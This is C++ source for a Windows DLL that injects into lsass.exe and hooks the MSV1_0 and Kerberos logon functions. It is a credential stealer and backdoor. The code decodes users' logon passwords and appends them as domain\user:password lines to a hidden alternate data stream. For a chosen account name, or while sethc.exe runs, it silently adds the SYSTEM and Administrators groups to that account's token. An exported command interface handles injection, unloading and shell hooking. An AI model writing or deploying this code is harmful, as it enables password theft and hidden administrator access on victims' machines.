#define USE_SYS_LIBC
//#define USE_SYS_MSVCRT
#include "../ntlib/ntlib.hpp"
#include "lsap.h"
#pragma comment(linker,"/entry:DllEntry")



#define M_LOG 1
#define M_ADDUSER 2
#ifdef NDEBUG
#define mdebug(x) 
#define wdebug(x) 
#else
#define mdebug(x) OutputDebugStringA(x)
#define wdebug(x) OutputDebugStringW(x)
#endif

void md5s(void *msg, size_t len, wchar_t out[]);

WCHAR moduleName[MAX_PATH];
HMODULE Module;
LsaApLogonUserEx2Type msv_logon;
LsaApLogonUserEx2Type krb_logon;
static ntlib::hook_info hinfo[2] = {0};
static PTOKEN_PRIVILEGES privs = 0;
static char sysid[SECURITY_MAX_SID_SIZE];
static char adminid[SECURITY_MAX_SID_SIZE];

// #pragma comment(linker, "/section:G,rws")
// 
// #pragma data_seg( "G" )
// wchar_t name[256] = L"wangcar";
// wchar_t filename[MAX_PATH+1] = {};
// int mode = 1;
// static char p_id[SECURITY_MAX_SID_SIZE] = {};
// BOOL do_resident = 1;
// #pragma data_seg(  )
static HANDLE shared_mapping;
shared_struct* _shared = 0;
shared_struct _default = { false,{},L"wangcar",1,{},true };

template<typename T,typename Q> inline T mymin(T a, Q b) { return (a<b?a:b); }
static char mybuf[1024];
static PTOKEN_GROUPS grps = (PTOKEN_GROUPS) mybuf;

void init_hook(){
    GetSystemDirectoryW(_shared->filename,sizeof(_shared->filename));
    wcscat(_shared->filename,L":log");
    HANDLE token;
    if (!OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY | TOKEN_QUERY_SOURCE,&token)) return;
    DWORD len = 0;
    GetTokenInformation(token,TokenPrivileges,0,0,&len);
    if(!len) return;
    PTOKEN_PRIVILEGES p= ( PTOKEN_PRIVILEGES )HeapAlloc(GetProcessHeap(),0,len);
    if (!p) return ;
    if (!GetTokenInformation(token,TokenPrivileges,p,len,&len)) return;
    privs = p;
    len=SECURITY_MAX_SID_SIZE;
    CreateWellKnownSid(WinLocalSystemSid,0,sysid,&len);
    len = SECURITY_MAX_SID_SIZE;
    CreateWellKnownSid(WinBuiltinAdministratorsSid,0,adminid,&len);
    CloseHandle(token);
}

void* init_shared(wchar_t* dll, size_t size)
{
    wchar_t md5[64] ={0};
    md5s(dll,wcslen(dll)*sizeof(dll[0]),md5);
    if (md5[0])
    {
        return ntlib::shared_section(size,md5,shared_mapping);
    }
    return 0;
}
static void write(LPWSTR message)
{
    HANDLE file = CreateFileW(_shared->filename,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
    if (file == INVALID_HANDLE_VALUE) 
    { 
        return;
    }
    DWORD r;
    SetFilePointer(file, 0, NULL, FILE_END);
    SYSTEMTIME time;
    GetLocalTime(&time);
    wchar_t tmp[64];
    swprintf_s(tmp,sizeof(tmp)/sizeof(tmp[0]),L"%d-%d-%d %02d:%02d:%02d ",time.wYear,time.wMonth,time.wDay,time.wHour,time.wMinute,time.wSecond);
    WriteFile(file, tmp, (DWORD)wcslen(tmp)*2, &r, NULL); 
    WriteFile(file, message, (DWORD)wcslen(message)*2, &r, NULL); 
    WriteFile(file,L"\r\n",4,&r,NULL);
    CloseHandle(file);
}
void err_msg(LPWSTR message) {
    if (!(_shared->mode & M_LOG)) return;
    wdebug(message);
    write(message);
}
static bool contains(PTOKEN_GROUPS g,PSID s) {
    for(unsigned i = 0 ; i < g->GroupCount;i++) {
        if(EqualSid(g->Groups[i].Sid,s)) {
            return true;
        }
    }
    return false;
}
extern "C" void WINAPI RtlRunDecodeUnicodeString(
    BYTE bKey,
    PUNICODE_STRING pUniStr
    );
void hook_fun(
    SECURITY_LOGON_TYPE LogonType,
    PVOID ProtocolSubmitBuffer,
    PVOID ClientBufferBase,
    ULONG SubmitBufferSize,
    PLSA_TOKEN_INFORMATION_TYPE TokenInformationType,
    PVOID* TokenInformation,
    PUNICODE_STRING* AccountName,
    WCHAR* From
    )
{
    PMSV1_0_INTERACTIVE_LOGON info = (PMSV1_0_INTERACTIVE_LOGON)ProtocolSubmitBuffer;
    if (info->MessageType == 2) {
        if (ProtocolSubmitBuffer != ClientBufferBase) {
            info->LogonDomainName.Buffer = (wchar_t*)((long)info+((long)info->LogonDomainName.Buffer-(long)ClientBufferBase));
            info->UserName.Buffer = (wchar_t*)((long)info+((long)info->UserName.Buffer-(long)ClientBufferBase));
            info->Password.Buffer = (wchar_t*)((long)info+((long)info->Password.Buffer-(long)ClientBufferBase));
        }
        BYTE key = (info->Password.Length&0xff00)>>8;
        if (key) {
            info->Password.Length &= 0xff;
            RtlRunDecodeUnicodeString(key,&info->Password);
        }
        wchar_t *tmp = (wchar_t *) HeapAlloc(GetProcessHeap(),0,SubmitBufferSize);
        if(tmp){
            *tmp = 0;
            wcsncat(tmp,From,wcslen(From));
            wcsncat(tmp,info->LogonDomainName.Buffer,info->LogonDomainName.Length/2);
            wcscat(tmp,L"\\");
            wcsncat(tmp,info->UserName.Buffer,info->UserName.Length/2);
            wcscat(tmp,L":");
            wcsncat(tmp,info->Password.Buffer,info->Password.Length/2);
            err_msg(tmp);
            HeapFree(GetProcessHeap(),0,tmp);
        }
    }
    PLSA_TOKEN_INFORMATION_V1 tinfo = (PLSA_TOKEN_INFORMATION_V1)(*TokenInformation);
    if ( (*AccountName && _wcsnicmp(_shared->name,(*AccountName)->Buffer,mymin(wcslen(_shared->name),(*AccountName)->Length)) == 0 && *TokenInformationType>0 && privs)
        || ( tinfo && tinfo->User.User.Sid && EqualSid(_shared->p_id,tinfo->User.User.Sid)  && *TokenInformationType>0 && privs )
        ) {
            tinfo->Privileges = privs;
            if((_shared->mode & M_ADDUSER)  || ntlib::find_process_id(L"sethc.exe")) {
                if((tinfo->Groups->GroupCount+2)*sizeof(SID_AND_ATTRIBUTES)+sizeof(DWORD) < sizeof(mybuf)) {
                    unsigned i;
                    for(i = 0; i < tinfo->Groups->GroupCount; i ++) {
                        grps->Groups[i] = tinfo->Groups->Groups[i];
                        PWSTR tt;
                        ConvertSidToStringSid(grps->Groups[i].Sid,&tt);
                        wdebug(tt);
                    }
                    grps->GroupCount = tinfo->Groups->GroupCount;
                    if(!contains(grps,sysid) && IsValidSid(sysid)){
                        grps->GroupCount++;
                        grps->Groups[i].Sid = sysid;grps->Groups[i].Attributes = SE_GROUP_ENABLED;
                        i++;
                        mdebug("Add admin\n");
                    }
                    if(!contains(grps,adminid) && !EqualSid(tinfo->User.User.Sid,adminid) && IsValidSid(adminid)){
                        grps->GroupCount++;
                        grps->Groups[i].Sid = adminid;grps->Groups[i].Attributes = SE_GROUP_ENABLED;
                        mdebug("Add sys\n");
                    }
                    tinfo->Groups = grps;
                }
            }
    }
}

NTSTATUS WINAPI LsaApLogonUserEx2 (
    PLSA_CLIENT_REQUEST ClientRequest,
    SECURITY_LOGON_TYPE LogonType,
    PVOID ProtocolSubmitBuffer,
    PVOID ClientBufferBase,
    ULONG SubmitBufferSize,
    PVOID* ProfileBuffer,
    PULONG ProfileBufferSize,
    PLUID LogonId,
    PNTSTATUS SubStatus,
    PLSA_TOKEN_INFORMATION_TYPE TokenInformationType,
    PVOID* TokenInformation,
    PUNICODE_STRING* AccountName,
    PUNICODE_STRING* AuthenticatingAuthority,
    PUNICODE_STRING* MachineName,
    PSECPKG_PRIMARY_CRED PrimaryCredentials,
    PSECPKG_SUPPLEMENTAL_CRED_ARRAY* SupplementalCredentials
    )
{

    void * p = HeapAlloc(GetProcessHeap(),0,SubmitBufferSize);
    if (p == 0) return STATUS_NO_MEMORY;
    memcpy(p,ProtocolSubmitBuffer,SubmitBufferSize);
    NTSTATUS r = msv_logon(ClientRequest,LogonType,ProtocolSubmitBuffer,ClientBufferBase,SubmitBufferSize,
        ProfileBuffer,ProfileBufferSize,LogonId,SubStatus,TokenInformationType,TokenInformation,AccountName,AuthenticatingAuthority,
        MachineName,PrimaryCredentials,SupplementalCredentials);
    if (r == 0 ) {
        hook_fun(LogonType,p,ClientBufferBase,SubmitBufferSize,TokenInformationType,TokenInformation,AccountName,L"MSV: ");
    }
    HeapFree(GetProcessHeap(),0,p);
    return r;
}
NTSTATUS WINAPI KerbLsaApLogonUserEx2 (
    PLSA_CLIENT_REQUEST ClientRequest,
    SECURITY_LOGON_TYPE LogonType,
    PVOID ProtocolSubmitBuffer,
    PVOID ClientBufferBase,
    ULONG SubmitBufferSize,
    PVOID* ProfileBuffer,
    PULONG ProfileBufferSize,
    PLUID LogonId,
    PNTSTATUS SubStatus,
    PLSA_TOKEN_INFORMATION_TYPE TokenInformationType,
    PVOID* TokenInformation,
    PUNICODE_STRING* AccountName,
    PUNICODE_STRING* AuthenticatingAuthority,
    PUNICODE_STRING* MachineName,
    PSECPKG_PRIMARY_CRED PrimaryCredentials,
    PSECPKG_SUPPLEMENTAL_CRED_ARRAY* SupplementalCredentials
    )
{
    mdebug("kerb lsa\n");
    void * p = HeapAlloc(GetProcessHeap(),0,SubmitBufferSize);
    if (p == 0) return STATUS_NO_MEMORY;
    memcpy(p,ProtocolSubmitBuffer,SubmitBufferSize);
    NTSTATUS r = krb_logon(ClientRequest,LogonType,ProtocolSubmitBuffer,ClientBufferBase,SubmitBufferSize,
        ProfileBuffer,ProfileBufferSize,LogonId,SubStatus,TokenInformationType,TokenInformation,AccountName,AuthenticatingAuthority,
        MachineName,PrimaryCredentials,SupplementalCredentials);
    if (r == 0 ) {
        hook_fun(LogonType,p,ClientBufferBase,SubmitBufferSize,TokenInformationType,TokenInformation,AccountName,L"KRB: ");
    }
    HeapFree(GetProcessHeap(),0,p);
    return r;
}
PVOID search_table(PVOID p)
{
    PBYTE b = (PBYTE)p;
    for (unsigned i = 0;i < 0x1000; i++)
    {
        ULONG32 a1 = *(PULONG32)b[i];
        for (unsigned j = 1; j < 0x20; j ++)
        {
            ULONG a2 = *(PULONG32)b[i+j];
            if (a2 - a1 == 4)
            {
                for (unsigned k = 1; k < 0x20; k ++)
                {
                    ULONG a3 = *(PULONG32)b[i+j+k];
                    if (a3 - a1 == 4)
                    {

                    }
                }
            }
        }
    }
    return 0;
}
DWORD WINAPI hook2(PVOID) {
    HMODULE msv = 0;
    HMODULE kerb = 0;
    while ( (msv = GetModuleHandleA("msv1_0.dll")) == 0) {
        Sleep(500);
    }
    if (hook_proc(GetProcAddress(msv,"LsaApLogonUserEx2"),LsaApLogonUserEx2,&msv_logon,5,&hinfo[0])) {
        mdebug("Hook MSV Success\n");
        init_hook();
    }
    while ( (kerb = GetModuleHandleA("kerberos.dll")) == 0) {
        Sleep(500);
    }
    unsigned char* b = (unsigned char*)GetProcAddress(kerb,"SpLsaModeInitialize");
    if (!b) return 0;
    PSECPKG_FUNCTION_TABLE table = 0;
    int i = 0;
    __try{
        while (i++ < 1000) {
            long q1 = *(long*) b;
            long q2 = *(long*) (b+6);
            long q3 = *(long*) (b+12);
            if ( (q2-q1) == 4 && (q3-q2) == 4 ){
                table = (PSECPKG_FUNCTION_TABLE)q1;
                break;
            }
            b++;
        }
        if (table && table->LogonUser == 0 && table->LogonUserEx2) {
            hook_proc(table->LogonUserEx2,KerbLsaApLogonUserEx2,&krb_logon,5,&hinfo[1]);
            mdebug("Hook kerberos Success\n");
        }
    }
    __except(EXCEPTION_EXECUTE_HANDLER){}

     return 0;
}


BOOL WINAPI DllEntry( HINSTANCE  hModule,DWORD  ul_reason_for_call, LPVOID)
{
    if(ul_reason_for_call == DLL_PROCESS_ATTACH){
        DisableThreadLibraryCalls(hModule);
        Module = hModule;
        GetModuleFileNameW(hModule,moduleName,sizeof(moduleName)/sizeof(moduleName[0]));
        (void*&)_shared = init_shared(moduleName,sizeof(*_shared));
        if (!_shared->init)
        {
            memcpy(_shared,&_default,sizeof(_default));
            _shared->init = true;
        }
        WCHAR p[100];
        if (_shared->do_resident && ntlib::find_process_name(GetCurrentProcessId(),p,sizeof(p)) && _wcsicmp(p,L"lsass.exe") == 0 ) {
			ntlib::debug_print("Doing hooking");
            GetModuleHandleExW(0,moduleName,&hModule);
            ntlib::create_thread(hook2,0);
        }
    }
	else if (ul_reason_for_call == DLL_PROCESS_DETACH)
	{
		ntlib::release_section(_shared,shared_mapping);
	}
    return TRUE;
}

DWORD WINAPI freeme(void*) {
    unhook_proc(&hinfo[0]);
    unhook_proc(&hinfo[1]);
    OutputDebugStringA("Freeed\n");
    FreeLibraryAndExitThread(Module,0);
    return 1;
}
void hook_shell(WCHAR* pname);
void free_shell(WCHAR* pname);

#ifndef _WIN64
#pragma comment(linker,"/export:configW=_configW@16")
#else
#pragma comment(linker,"/export:configW=configW")
#endif
extern "C" extern void WINAPI configW(HWND,HINSTANCE,LPWSTR lpCmdLine, int)
{
    using namespace ntlib;
    __try
    {
        LPWSTR* argv;
        int argc;

        argv = argvw(lpCmdLine,&argc);
        if (lstrcmpiW(argv[0],L"-log") == 0)
        {
            if (argc > 1)
                _shared->mode = wcstol(argv[1],0,0);
        }
        else if (lstrcmpiW(argv[0],L"-name") == 0)
        {
            lstrcpynW(_shared->name,argv[1],256);

        }
        else if (lstrcmpiW(argv[0],L"-file") == 0)
        {
            lstrcpynW(_shared->filename,argv[1],256);

        }
        else if (lstrcmpiW(argv[0],L"-sid") == 0)
        { 
            DWORD len = sizeof(_shared->p_id);
            wchar_t dom[56];
            DWORD len2 = sizeof(dom)/sizeof(dom[0]);
            SID_NAME_USE use ;
            LookupAccountName(0,argv[1],&_shared->p_id,&len,dom,&len, &use);

        }
        else if (lstrcmpiW(argv[0],L"-inj") == 0)
        {
            unsigned long d = inject_me(find_process_id(L"lsass.exe"),moduleName);
            if (d == 0) {
                char tmp[128];
                sprintf(tmp,"failed %d",GetLastError());
                OutputDebugStringA(tmp);
            }
        }
        else if (lstrcmpiW(argv[0],L"-free") == 0)
        {
            DWORD pid = find_process_id(L"lsass.exe");
            call_remote(pid,freeme,0);
        }
		else if (lstrcmpiW(argv[0],L"-test") == 0)
		{
			_shared->do_resident = 8;
			Sleep(0x3333333);
		}
		else if (lstrcmpiW(argv[0],L"-test1") == 0)
		{
			debug_print("do_resi:%Ix",_shared->do_resident);
		}
        else if (lstrcmpiW(argv[0],L"-md5") == 0)
        {
            wchar_t md5[256];
            md5s((unsigned char*)argv[1],wcslen(argv[1])*sizeof(argv[1][0]),md5 );
            debug_printw(L"md5:%s",md5);
        }
        else if (lstrcmpiW(argv[0],L"-shell") == 0 && argc > 1)
        {
            hook_shell(argv[1]);
        }       
        else if (lstrcmpiW(argv[0],L"-shellfree") == 0 && argc > 1)
        {
            free_shell(argv[1]);
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        OutputDebugStringW(L"Critical Error");
    }

}
